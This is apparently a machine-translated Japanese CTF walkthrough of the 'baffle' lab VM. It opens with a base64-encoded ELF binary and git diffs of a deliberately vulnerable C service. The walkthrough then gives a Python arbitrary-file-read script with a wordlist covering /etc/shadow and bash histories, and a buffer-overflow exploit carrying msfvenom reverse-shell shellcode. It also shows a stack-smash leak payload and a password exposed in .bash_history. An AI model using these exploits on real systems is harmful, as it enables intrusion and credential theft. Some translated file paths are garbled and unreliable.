+AL4AAAAAv+ANYADoWv3//0iDRfgCSItF+EiJx+gZ/f//iUXwi0XwSJhIg8ABSAFF+EiDRfgGSItF ++LrgDWAAuT4AAABIiddIicbzSKVIifBIifqLCIkKSI1SBEiNQARIi034SI2F8P3//7rQBwAASInO +SInH6DD9//+4AAAAAMnDVUiJ5UiB7PAHAACJvRz4//9IibUQ+P//SIsFqgQgAL4AAAAASInH6J38 +//9IjYUg+P//utAHAAC+AAAAAEiJx+ik/P//SI2FIPj//7rQBwAASInGvwAAAADom/z//4lF/ItV +/EiNhSD4//+J1kiJx+ja/f//uAAAAADJw2YuDx+EAAAAAAAPHwBBV0FWQYn/QVVBVEyNJc4BIABV +SI0tzgEgAFNJifZJidVMKeVIg+wISMH9A+jH+///SIXtdCAx2w8fhAAAAAAATInqTIn2RIn/Qf8U +3EiDwwFIOet16kiDxAhbXUFcQV1BXkFfw5BmLg8fhAAAAAAA88MAAEiD7AhIg8QIwwAAAAEAAgBy +ACVzAAAAAAEbAzs4AAAABgAAAJT7//+EAAAARPz//1QAAAA6/f//rAAAAOv+///MAAAAdP///+wA +AADk////NAEAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEHEBQAAAAcAAAA6Pv//yoAAAAAAAAAAAAA +ABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAACQAAAAcAAAACPv//6AAAAAADhBGDhhKDwt3CIAAPxo7 +KjMkIgAAAAAcAAAARAAAAIb8//+xAQAAAEEOEIYCQw0GA6wBDAcIABwAAABkAAAAF/7//3wAAAAA +QQ4QhgJDDQYCdwwHCAAARAAAAIQAAACA/v//ZQAAAABCDhCPAkIOGI4DRQ4gjQRCDiiMBUgOMIYG +SA44gwdNDkByDjhBDjBBDihCDiBCDhhCDhBCDggAFAAAAMwAAACo/v//AgAAAAAAAAAAAAAAAAAA +AAAAAAAgB0AAAAAAAAAHQAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAADAAAAAAAAAB4BUAA +AAAAAA0AAAAAAAAA9AlAAAAAAAAZAAAAAAAAAGALYAAAAAAAGwAAAAAAAAAIAAAAAAAAABoAAAAA +AAAAaAtgAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAABgAkAAAAAAAAUAAAAAAAAAqANAAAAA +AAAGAAAAAAAAAIgCQAAAAAAACgAAAAAAAAB+AAAAAAAAAAsAAAAAAAAAGAAAAAAAAAAVAAAAAAAA +AAAAAAAAAAAAAwAAAAAAAABQDWAAAAAAAAIAAAAAAAAA2AAAAAAAAAAUAAAAAAAAAAcAAAAAAAAA +FwAAAAAAAACgBEAAAAAAAAcAAAAAAAAAcARAAAAAAAAIAAAAAAAAADAAAAAAAAAACQAAAAAAAAAY +AAAAAAAAAP7//28AAAAAQARAAAAAAAD///9vAAAAAAEAAAAAAAAA8P//bwAAAAAmBEAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeAtgAAAAAAAAAAAA +AAAAAAAAAAAAAAAAtgVAAAAAAADGBUAAAAAAANYFQAAAAAAA5gVAAAAAAAD2BUAAAAAAAAYGQAAA +AAAAFgZAAAAAAAAmBkAAAAAAADYGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAEdDQzogKERlYmlhbiA2 +LjEuMS0xMSkgNi4xLjEgMjAxNjA4MDIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAB +AAACQAAAAAAAAAAAAAAAAAAAAAAAAwACABwCQAAAAAAAAAAAAAAAAAAAAAAAAwADADwCQAAAAAAA +AAAAAAAAAAAAAAAAAwAEAGACQAAAAAAAAAAAAAAAAAAAAAAAAwAFAIgCQAAAAAAAAAAAAAAAAAAA +AAAAAwAGAKgDQAAAAAAAAAAAAAAAAAAAAAAAAwAHACYEQAAAAAAAAAAAAAAAAAAAAAAAAwAIAEAE +QAAAAAAAAAAAAAAAAAAAAAAAAwAJAHAEQAAAAAAAAAAAAAAAAAAAAAAAAwAKAKAEQAAAAAAAAAAA +AAAAAAAAAAAAAwALAHgFQAAAAAAAAAAAAAAAAAAAAAAAAwAMAKAFQAAAAAAAAAAAAAAAAAAAAAAA +AwANAEAGQAAAAAAAAAAAAAAAAAAAAAAAAwAOAFAGQAAAAAAAAAAAAAAAAAAAAAAAAwAPAPQJQAAA +AAAAAAAAAAAAAAAAAAAAAwAQAAAKQAAAAAAAAAAAAAAAAAAAAAAAAwARAAwKQAAAAAAAAAAAAAAA +AAAAAAAAAwASAEgKQAAAAAAAAAAAAAAAAAAAAAAAAwATAGALYAAAAAAAAAAAAAAAAAAAAAAAAwAU +AGgLYAAAAAAAAAAAAAAAAAAAAAAAAwAVAHALYAAAAAAAAAAAAAAAAAAAAAAAAwAWAHgLYAAAAAAA +AAAAAAAAAAAAAAAAAwAXAEgNYAAAAAAAAAAAAAAAAAAAAAAAAwAYAFANYAAAAAAAAAAAAAAAAAAA +AAAAAwAZALANYAAAAAAAAAAAAAAAAAAAAAAAAwAaAMANYAAAAAAAAAAAAAAAAAAAAAAAAwAbAAAA +AAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAAAMAAAAAQAVAHALYAAAAAAAAAAA +AAAAAAAZAAAAAgAOAIAGQAAAAAAAAAAAAAAAAAAbAAAAAgAOAMAGQAAAAAAAAAAAAAAAAAAuAAAA +AgAOAAAHQAAAAAAAAAAAAAAAAABEAAAAAQAaAMgNYAAAAAAAAQAAAAAAAABTAAAAAQAUAGgLYAAA +AAAAAAAAAAAAAAB6AAAAAgAOACAHQAAAAAAAAAAAAAAAAACGAAAAAQATAGALYAAAAAAAAAAAAAAA +AAClAAAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAACtAAAAAQAS +AFgLQAAAAAAAAAAAAAAAAAC7AAAAAQAVAHALYAAAAAAAAAAAAAAAAAAAAAAABADx/wAAAAAAAAAA +AAAAAAAAAADHAAAAAAATAGgLYAAAAAAAAAAAAAAAAADYAAAAAQAWAHgLYAAAAAAAAAAAAAAAAADh +AAAAAAATAGALYAAAAAAAAAAAAAAAAAD0AAAAAAARAAwKQAAAAAAAAAAAAAAAAAAHAQAAAQAYAFAN +YAAAAAAAAAAAAAAAAAAdAQAAEgAOAPAJQAAAAAAAAgAAAAAAAAAtAQAAIAAAAAAAAAAAAAAAAAAA +AAAAAABJAQAAEQAaAMANYAAAAAAACAAAAAAAAAD6AQAAIAAZALANYAAAAAAAAAAAAAAAAABdAQAA +EAAZAMANYAAAAAAAAAAAAAAAAAAnAQAAEgAPAPQJQAAAAAAAAAAAAAAAAABkAQAAEgAAAAAAAAAA +AAAAAAAAAAAAAAB4AQAAEgAAAAAAAAAAAAAAAAAAAAAAAACMAQAAEgAAAAAAAAAAAAAAAAAAAAAA +AACgAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAC0AQAAEgAAAAAAAAAAAAAAAAAAAAAAAADGAQAAEgAA +AAAAAAAAAAAAAAAAAAAAAADlAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAD4AQAAEAAZALANYAAAAAAA +AAAAAAAAAAAFAgAAIAAAAAAAAAAAAAAAAAAAAAAAAAAUAgAAEQIZALgNYAAAAAAAAAAAAAAAAAAh +AgAAEgAAAAAAAAAAAAAAAAAAAAAAAAA0AgAAEQAQAAAKQAAAAAAABAAAAAAAAABDAgAAEgAOAIAJ +QAAAAAAAZQAAAAAAAADTAAAAEAAaANgPYAAAAAAAAAAAAAAAAAD+AQAAEgAOAFAGQAAAAAAAKgAA +AAAAAABTAgAAEAAaAMANYAAAAAAAAAAAAAAAAABfAgAAEgAOAPcIQAAAAAAAfAAAAAAAAABkAgAA +EgAAAAAAAAAAAAAAAAAAAAAAAAB3AgAAIAAAAAAAAAAAAAAAAAAAAAAAAACLAgAAEgAOAEYHQAAA +AAAAsQEAAAAAAACZAgAAEQIZAMANYAAAAAAAAAAAAAAAAAClAgAAIAAAAAAAAAAAAAAAAAAAAAAA +AAC/AgAAEQAaAOANYAAAAAAA9AEAAAAAAABNAgAAEgALAHgFQAAAAAAAAAAAAAAAAAAAY3J0c3R1 +ZmYuYwBfX0pDUl9MSVNUX18AZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNf +YXV4AGNvbXBsZXRlZC42OTc5AF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5 +AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBjdGZ0cC5jAF9fRlJB +TUVfRU5EX18AX19KQ1JfRU5EX18AX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBfX2luaXRfYXJy +YXlfc3RhcnQAX19HTlVfRUhfRlJBTUVfSERSAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfX2xpYmNf +Y3N1X2ZpbmkAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAHN0ZG91dEBAR0xJQkNfMi4yLjUA +X2VkYXRhAHN0cmxlbkBAR0xJQkNfMi4yLjUAc2V0YnVmQEBHTElCQ18yLjIuNQBwcmludGZAQEdM +SUJDXzIuMi41AG1lbXNldEBAR0xJQkNfMi4yLjUAcmVhZEBAR0xJQkNfMi4yLjUAX19saWJjX3N0 +YXJ0X21haW5AQEdMSUJDXzIuMi41AGZnZXRzQEBHTElCQ18yLjIuNQBfX2RhdGFfc3RhcnQAX19n +bW9uX3N0YXJ0X18AX19kc29faGFuZGxlAG1lbWNweUBAR0xJQkNfMi4xNABfSU9fc3RkaW5fdXNl +ZABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBmb3BlbkBAR0xJQkNfMi4yLjUAX0p2 +X1JlZ2lzdGVyQ2xhc3NlcwBwYXJzZV9yZXF1ZXN0AF9fVE1DX0VORF9fAF9JVE1fcmVnaXN0ZXJU +TUNsb25lVGFibGUAdG9fd3JpdGUAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmludGVycAAu +bm90ZS5BQkktdGFnAC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3Ry +AC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5w +bHQuZ290AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAuZWhfZnJhbWUALmluaXRf +YXJyYXkALmZpbmlfYXJyYXkALmpjcgAuZHluYW1pYwAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21t +ZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAAAAAAAAACQAAAAAAAAAIAAAAAAAAcAAAAAAAAAAAA +AAAAAAAAAQAAAAAAAAAAAAAAAAAAACMAAAAHAAAAAgAAAAAAAAAcAkAAAAAAABwCAAAAAAAAIAAA +AAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAxAAAABwAAAAIAAAAAAAAAPAJAAAAAAAA8AgAA +AAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAPb//28CAAAAAAAAAGACQAAA +AAAAYAIAAAAAAAAkAAAAAAAAAAUAAAAAAAAACAAAAAAAAAAAAAAAAAAAAE4AAAALAAAAAgAAAAAA +AACIAkAAAAAAAIgCAAAAAAAAIAEAAAAAAAAGAAAAAQAAAAgAAAAAAAAAGAAAAAAAAABWAAAAAwAA +AAIAAAAAAAAAqANAAAAAAACoAwAAAAAAAH4AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA +XgAAAP///28CAAAAAAAAACYEQAAAAAAAJgQAAAAAAAAYAAAAAAAAAAUAAAAAAAAAAgAAAAAAAAAC +AAAAAAAAAGsAAAD+//9vAgAAAAAAAABABEAAAAAAAEAEAAAAAAAAMAAAAAAAAAAGAAAAAQAAAAgA +AAAAAAAAAAAAAAAAAAB6AAAABAAAAAIAAAAAAAAAcARAAAAAAABwBAAAAAAAADAAAAAAAAAABQAA +AAAAAAAIAAAAAAAAABgAAAAAAAAAhAAAAAQAAABCAAAAAAAAAKAEQAAAAAAAoAQAAAAAAADYAAAA +AAAAAAUAAAAYAAAACAAAAAAAAAAYAAAAAAAAAI4AAAABAAAABgAAAAAAAAB4BUAAAAAAAHgFAAAA +AAAAGgAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACJAAAAAQAAAAYAAAAAAAAAoAVAAAAA +AACgBQAAAAAAAKAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAlAAAAAEAAAAGAAAAAAAA +AEAGQAAAAAAAQAYAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAJ0AAAABAAAA +BgAAAAAAAABQBkAAAAAAAFAGAAAAAAAAogMAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACj +AAAAAQAAAAYAAAAAAAAA9AlAAAAAAAD0CQAAAAAAAAkAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAA +AAAAAAAAqQAAAAEAAAACAAAAAAAAAAAKQAAAAAAAAAoAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAA +AAAAAAAAAAAAAAAAALEAAAABAAAAAgAAAAAAAAAMCkAAAAAAAAwKAAAAAAAAPAAAAAAAAAAAAAAA +AAAAAAQAAAAAAAAAAAAAAAAAAAC/AAAAAQAAAAIAAAAAAAAASApAAAAAAABICgAAAAAAABQBAAAA +AAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAyQAAAA4AAAADAAAAAAAAAGALYAAAAAAAYAsAAAAA +AAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAANUAAAAPAAAAAwAAAAAAAABoC2AAAAAA +AGgLAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADhAAAAAQAAAAMAAAAAAAAA +cAtgAAAAAABwCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA5gAAAAYAAAAD +AAAAAAAAAHgLYAAAAAAAeAsAAAAAAADQAQAAAAAAAAYAAAAAAAAACAAAAAAAAAAQAAAAAAAAAJgA +AAABAAAAAwAAAAAAAABIDWAAAAAAAEgNAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAA +AAAAAADvAAAAAQAAAAMAAAAAAAAAUA1gAAAAAABQDQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA +AAAAAAgAAAAAAAAA+AAAAAEAAAADAAAAAAAAALANYAAAAAAAsA0AAAAAAAAQAAAAAAAAAAAAAAAA +AAAACAAAAAAAAAAAAAAAAAAAAP4AAAAIAAAAAwAAAAAAAADADWAAAAAAAMANAAAAAAAAGAIAAAAA +AAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAADAQAAAQAAADAAAAAAAAAAAAAAAAAAAADADQAAAAAA +ACYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA +6BcAAAAAAAAMAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAA +AAAAAAAAAOgNAAAAAAAAOAcAAAAAAAAeAAAALwAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAA +AAAAAAAAAAAAAAAAAAAgFQAAAAAAAMgCAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA commit 9b5c226d15d611d6957f3fda7c993186270a6cc4 Author: alice <alice@baffle.me> Date: Mon Oct 17 14:52:40 2016 -0400 Made it into a write-type-thing instead diff --git a/hellofriend.cb/hellofriend.c index d5cbbf9..10a4d9e 100644 --- a/hellofriend.c +++ b/hellofriend.c @@ -2,29 +2,37 @@ #include <string.h> #include <unistd.h> +char to_write[500]; + int parse_request(char *req, int n) { + char data[500]; char file[500]; char file_content[500]; int file_len; + int req_type; + char mode[10]; char *ptr = req; FILE *fp; memset(file, 0, sizeof(file)); + memset(mode, 0, sizeof(mode)); + + memset(data, 0, sizeof(data)); + memset(to_write, 0, sizeof(to_write)); + + ptr = (char *)ptr + 2; + file_len = strlen(ptr); + + ptr = (char *)ptr + file_len + 1; + ptr = (char *)ptr + 6; - ptr = (char *)ptr + 2; - FiLe_len = n - 2 - 5 - 2; - memcpy(file, ptr, file_len); + memcpy(to_write, ptr, 500); + memcpy(data, ptr, 2000); - fp = fopen(file, "r"); - if (fp) { - memset(file_content, 0, sizeof(file_content)); - fgets(file_content, sizeof(file_content), fp); - printf("%s", file_content); - } return 0; } -int mAin(int arGc, char *argv[]) { +int main(int argc, char *argv[]) { char buf[2000]; int n; @@ -32,7 +40,7 @@ int mAin(int arGc, char *argv[]) { memset(buf, 0, sizeof(buf)); n = read(0, buf, sizeof(buf)); - p{ARSE_REQUEST}(buf, n); + parse_request(buf, n); return 0; } commit 06483346fab91b2b17471074a887ac7dffd9ceda Author: alice <alice@baffle.me> Date: Mon Oct 17 14:44:25 2016 -0400 My cat danced on the keyboard diff --git a/hellofriend.cb/hellofriend.c index c2c9046..d5cbbf9 100644 --- a/hellofriend.c +++ b/hellofriend.c @@ -12,7 +12,7 @@ int parse_request(char *req, int n) { memset(file, 0, sizeof(file)); ptr = (char *)ptr + 2; - file_len = n - 2 - 5 - 2; + FiLe_len = n - 2 - 5 - 2; memcpy(file, ptr, file_len); fp = fopen(file, "r"); @@ -24,7 +24,7 @@ int parse_request(char *req, int n) { return 0; } -int main(int argc, char *argv[]) { +int mAin(int arGc, char *argv[]) { char buf[2000]; int n; @@ -32,7 +32,7 @@ int main(int argc, char *argv[]) { memset(buf, 0, sizeof(buf)); n = read(0, buf, sizeof(buf)); - parse_request(buf, n); + p{ARSE_REQUEST}(buf, n); return 0; } commit 7edc47a1c3e4dc880a7191915bdbf1565c6b7441 Author: alice <alice@baffle.me> Date: Mon Oct 17 14:37:14 2016 -0400 This coder turned coffee into code. You won't believe how she did it! diff --git a/hellofriend.cb/hellofriend.c index 21c5a19..c2c9046 100644 --- a/hellofriend.c +++ b/hellofriend.c @@ -3,10 +3,26 @@ #include <unistd.h> int parse_request(char *req, int n) { - return 0; -} + char file[500]; + char file_content[500]; + int file_len; + char *ptr = req; + FILE *fp; + + memset(file, 0, sizeof(file)); + ptr = (char *)ptr + 2; + file_len = n - 2 - 5 - 2; + memcpy(file, ptr, file_len); + fp = fopen(file, "r"); + if (fp) { + memset(file_content, 0, sizeof(file_content)); + fgets(file_content, sizeof(file_content), fp); + printf("%s", file_content); + } + return 0; +} int main(int argc, char *argv[]) { char buf[2000]; commit d7a1f067a2f4ac469bc4cf77c689a34e2286b665 Author: alice <alice@baffle.me> Date: Mon Oct 17 14:30:20 2016 -0400 Hello, friend... diff --git a/hellofriend.cb/hellofriend.c new file mode 100644 index 0000000..21c5a19 --- /dev/null +++ b/hellofriend.c @@ -0,0 +1,22 @@ +#include <stdio.h> +#include <string.h> +#include <unistd.h> + +int parse_request(char *req, int n) { + return 0; +} + + + +int main(int argc, char *argv[]) { + char buf[2000]; + int n; + + setbuf(stdout, 0); + + memset(buf, 0, sizeof(buf)); + n = read(0, buf, sizeof(buf)); + parse_request(buf, n); + + return 0; +}
私の猫がキーボードで踊ったコミットをよく見ると、キーボードの上を歩いた猫とはまったく違います。 少数の文字のみが置き換えられます。 これらの変更を抽出しようとすると、パターンとフラグがわかります。
+ FiLe_len = n-2-5-2;
+ int mAin(int arGc、char * argv []){
+ p {ARSE_REQUEST}(buf、n);
フラグ{ARSE_REQUEST}
PSその逆はどこですか? これはあなたのための逆です、最初の旗は気を散らすトレーニングでした:)
フラグ2(アリス)
フラグに加えて、ユーザーaliceが特定のファイルproject.encを作成および削除したことがログからわかります。 このファイルを返すために、最後のコミットをキャンセルします。
$ git revert HEAD $ ls hellofriend.c project.enc
ファイルの内容は明らかにbase64に似ているため、 サイトに送信してバイナリに変換します。
$ file * base64.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=8d8f87535451003b05db15d14d07818576813b49, not stripped
IDAでファイルを開いて、中身を見てみましょう。 注意深く見ると、このファイルではgitプロジェクトに対して行われたすべての編集が結合されていることがわかります。 わずかな編集の後、 メイン関数は次のようになります。
ここでは、2000文字が読み取られ、 parse_request関数に渡されます。
parse_request関数は、2番目のバイトが0x01の場合、ファイルから最初の500バイトを読み取るか、2番目のバイトが0x02の場合 、受信した文字列をバッファーにコピーします。
この場合、2つの脆弱性と1つのエラーがトレースされます。
- ファイルを閲覧する
- 配列の境界を越える
- バッファオーバーフロー
最初の1つについて説明し、その操作用のPythonスクリプトを作成します。
#!/usr/bin/python import socket import time import sys port = 6969 host = "192.168.1.190" def readFile(fPath): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) action_byte = "\x01" shell = "0" + action_byte + fPath + "000000" s.send(('%s\n' %(shell)).encode()) time.sleep(0.3) try: data = s.recv(1024) if len(data) != 0: print("File: %s found" %(fPath)) print(data) s.close() except: pass ext = ['', '.txt'] words = open(sys.argv[1], 'r').read().splitlines() for item in words: for e in ext: fPath = '%s%s' %(item, e) readFile(fPath)
受信した情報に基づいて、使用可能なファイルを反復処理する小さな辞書を生成します。
語彙
/ホーム/アリス/旗
/フラグ
/ホーム/フラグ
/ var / www / html /フラグ
/ var / www / flag
/home/alice/.bash_history
/ルート/フラグ
/ etc /シャドウ
/root/.bash_history
/フラグ
/ホーム/フラグ
/ var / www / html /フラグ
/ var / www / flag
/home/alice/.bash_history
/ルート/フラグ
/ etc /シャドウ
/root/.bash_history
開始後、最初のフラグを取得します。
$ ./exploit.py dict.lst File: /flag.txt found FLAG{is_there_an_ivana_tinkle}
フラグ3(ボブ)
/ etc / shadowの内容から判断すると、彼は私たちに教えてくれなかったようです。明らかに、このサービスはユーザーに代わって開始されているようです。
ファイルの読み取りは良好ですが、範囲外およびバッファオーバーフローが依然として発生しています。strlen
関数は、仕様によれば、ターミネータがゼロに終わるまで文字数を返すことに注意してください。したがって、入力行に7文字のターミネータゼロを追加すると、境界線をバイパスできます。これを確認してください:
$ python -c 'print("\x02\x02" + "A"*20 + "\x00"*7 + "123456B"*200)' | ltrace ./base64.bin
ご覧のとおり、strlenは20を返し、「123456B」で始まるものはすべてデータバッファにコピーされました。戻りアドレスがスタック上にあるオフセットを見つけて書き換えます。to_write配列が配置されているアドレス0x600de0で上書きします。次のコマンドで返信先を見つけることができます:
$ python -c 'print("\x02\x02" +"A"*20 + "\x00"*7 + "A"*536 + "\xe0\x0d\x60\x00\x00\x00" + "\x00"*2000)' | gdb -ex "run" -ex "q" ./base64.bin
PS値536は、最終バッファのサイズが500バイトであることを考慮して、選択中に実験的に取得されました。
エクスプロイトを作成するために必要なものはすべて揃っているので、これから始めましょう。使用msfvenom Metaspoitフレームワークのことは殻を生成設定します。
$ sudo msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.124 LPORT=9999 -f python -b "\x00\x0a\x0d" > exploit2.py
ハンドラーを起動し
ます:exploit2.pyファイルを少し変更しましょう:
exploit2.py
#!/usr/bin/python import socket import time import sys import struct port = 6969 host = "192.168.1.190" bypass = "\x02\x02" + "A"*20 + "\x00"*7 buf = "" buf += "\x48\x31\xc9\x48\x81\xe9\xf7\xff\xff\xff\x48\x8d\x05" buf += "\xef\xff\xff\xff\x48\xbb\x8b\xe0\xc2\x5c\x5b\xbf\x3d" buf += "\x9b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4" buf += "\xc3\xd1\x3d\x36\x52\xe7\xa4\x2d\x9b\xa8\x4b\x8a\x16" buf += "\x8e\xf4\xf1\xa9\xa1\x98\xee\x5c\xb0\x38\xcd\xdb\x8a" buf += "\xeb\x04\xc2\xd5\x3f\xc4\xe1\xe1\x9c\x53\x5e\xf7\xaa" buf += "\xd3\x32\xe2\xc2\x7b\x54\x7f\x95\x9a\xf7\xb1\x8a\xd5" buf += "\xbd\xd5\x2d\xc1\xe1\xca\x9a\x53\x5e\xe6\x63\xc1\x84" buf += "\xe5\x3d\xba\x5b\xbf\x3d\x9b" payload = bypass + buf + "\x90"*(536-len(buf)) payload += "\xe0\x0d\x60\x00\x00\x00\x00\x00" + "\x00"*2000 def bof(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload) s.close() w = open('payload', 'wb') w.write(payload) w.close() bof()
そして、起動後、待望のシェルを取得します。
$ python2 ./exploit2.py
さらにフラグを見つけてみましょう:
find / -name flag.txt 2>/dev/null /home/bob/filez/flag.txt /flag.txt
フラグでディレクトリを調べたところ、ここではリバースなしでは実行できないことが明らかになりました。
ls -ahl /home/bob/filez total 24K drwxr-xr-x 2 charlie charlie 4.0K Oct 25 04:07 . drwxr-xr-x 5 bob bob 4.0K Oct 25 04:21 .. -r--r----- 1 charlie charlie 50 Oct 25 03:51 auth.txt -r--r----- 1 charlie charlie 29 Oct 23 08:06 flag.txt -rwsr-xr-x 1 charlie charlie 6.7K Oct 25 03:45 flag_vault
OK、flag_vaultをダウンロードしてさらに分析します。同時に、リモートマシンでASLRを確認します。
cat /proc/sys/kernel/randomize_va_space 2
ファイルがダウンロードされ、判明したとおり、保護されています。
$ gdb -q ./flag_vault Reading symbols from ./flag_vault...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled gdb-peda$
IDAでは、このファイルは次のようになります。
ここで、フラグをキャプチャする方法は2つあると言う価値があります。簡単な方法とより複雑な方法です。両方を検討してください。
1.不正行為の経路
ご覧のとおり、ファイルパスは相対的です。これは、aliceユーザーのホームディレクトリに確認コードを含むauth.txtファイルを作成し、次に元のファイル/home/bob/filez/flag.txt へのリンクを作成できることを意味します
。次に、/ home / aliceディレクトリに移動して、実行しますfile / home / bob / filez / flag_vault、コードを入力します。コードはauth.txtファイルで確認され、フラグを取得します。
2.本物のリバースエンジニアの道
長い検索の後、__stack_chk_fail関数の脆弱性に遭遇しました。説明から判断すると、これは私たちの場合であり、argv [0]が位置するオフセットを見つけて、それを書き換えようとします。このバイナリを実行しますPEDA:
あなたがの場所の近くにいることをデバッグ明らかに起動するとARGV [0] :で発見することができ0xbffff794。
0x08048730 <+293>: lea eax,[ebp-0x110] 0x08048736 <+299>: push eax 0x08048737 <+300>: push 0x0 0x08048739 <+302>: call 0x8048460 <read@plt>
読み取り関数は、オフセットの計算が難しくないことを認識して、オフセットebp-272でスタックを埋め始めます:(0xbffff794-0xbffff6e8-272)= 444文字。その後、argv [0]を書き換えることができます。
さて、理論的には現在のプロセスのメモリを読み取ることができます。コードを見ると、ファイルの読み取りが静的変数で行われていることがわかります。
.text:080486E8 push offset modes ; "r" .text:080486ED push offset aAuth_txt ; "auth.txt" .text:080486F2 call _fopen .text:080486F7 add esp, 16 .text:080486FA mov [ebp+var_114], eax .text:08048700 sub esp, 4 .text:08048703 push [ebp+var_114] ; stream .text:08048709 push 60 ; n .text:0804870B push 8049CE0h ; pass .text:08048710 call _fgets
この場合、最も興味深いのは、アドレス0x8049CE0の値です。これは、auth.txtファイルの内容がそこに読み込まれるためです。
これを確認してください:
python -c 'import struct;print("A"*20 + "\x00"*424 + struct.pack("<I",0x8049CE0))' | ./flag_vault
パスワードがあります。フラグを取得できます。
フラグ4(チャーリー)
このアプリケーションを介して特権を高めようと長い間試みた後、他のオプションを検索した後、次のコマンドを打ちました。
find / -user alice 2>/dev/null | grep -v proc /home/alice /home/alice/ctftp /home/alice/.profile /home/alice/auth.txt /home/alice/.bash_history /home/alice/.bashrc /home/alice/flag.txt /home/alice/.bash_logout /var/mail/alice /flag.txt
うーん、メールを見ると、次にどこに行くかが明らかになります。
cat /var/mail/alice
ボブからのメッセージ
From bob@baffle.me Thu Jan 2 11:38:22 2014
Return-Path: <root@baffle.me>
X-Original-To: alice
Delivered-To: alice@baffle.me
Received: by baffle.me (Postfix, from userid 0)
id B612F2C0E36; Thu, 2 Jan 2014 11:38:22 -0800 (PST)
From: Bob <bob@baffle.me>
To: alice@baffle.me
Subject: Flag #2
Message-Id: <2014010204825.B612F2C0E36@baffle.me>
Date: Thu, 2 Jan 2014 11:38:22 -0800 (PST)
Alice,
I need you to login to my account. My password is in /home/bob/flag.txt
You'll need to authenticate to Flag Vault in order to get its contents.
-
Bob
ssh経由でログインすると、すぐに.bash_historyファイルに注意が向けられます
bob@baffle:~$ cat .bash_history
.bash_history
ls -la cat .plan cd binz/ ls -la cd .. ls ls -la ps -efa exit ls -latr whoami su - charlie my_kn1ck3rz_r_bunch3d cd filez/ ls -altr date cd .. ls -latr clear ls cd binz/ ls cd .. ls exit
「my_kn1ck3rz_r_bunch3d」というフレーズは残念ながらパスワードとしては機能しませんでしたが、.planファイルも少し役立ちましたが、binzディレクトリでは、特定のデーモンがその運命を待って
います。
bob@baffle:~$ netstat -ln tcp 0 0 127.0.0.1:7979 0.0.0.0:* LISTEN
そして実際に接続してみてください:
bob@baffle:~$ nc localhost 7979
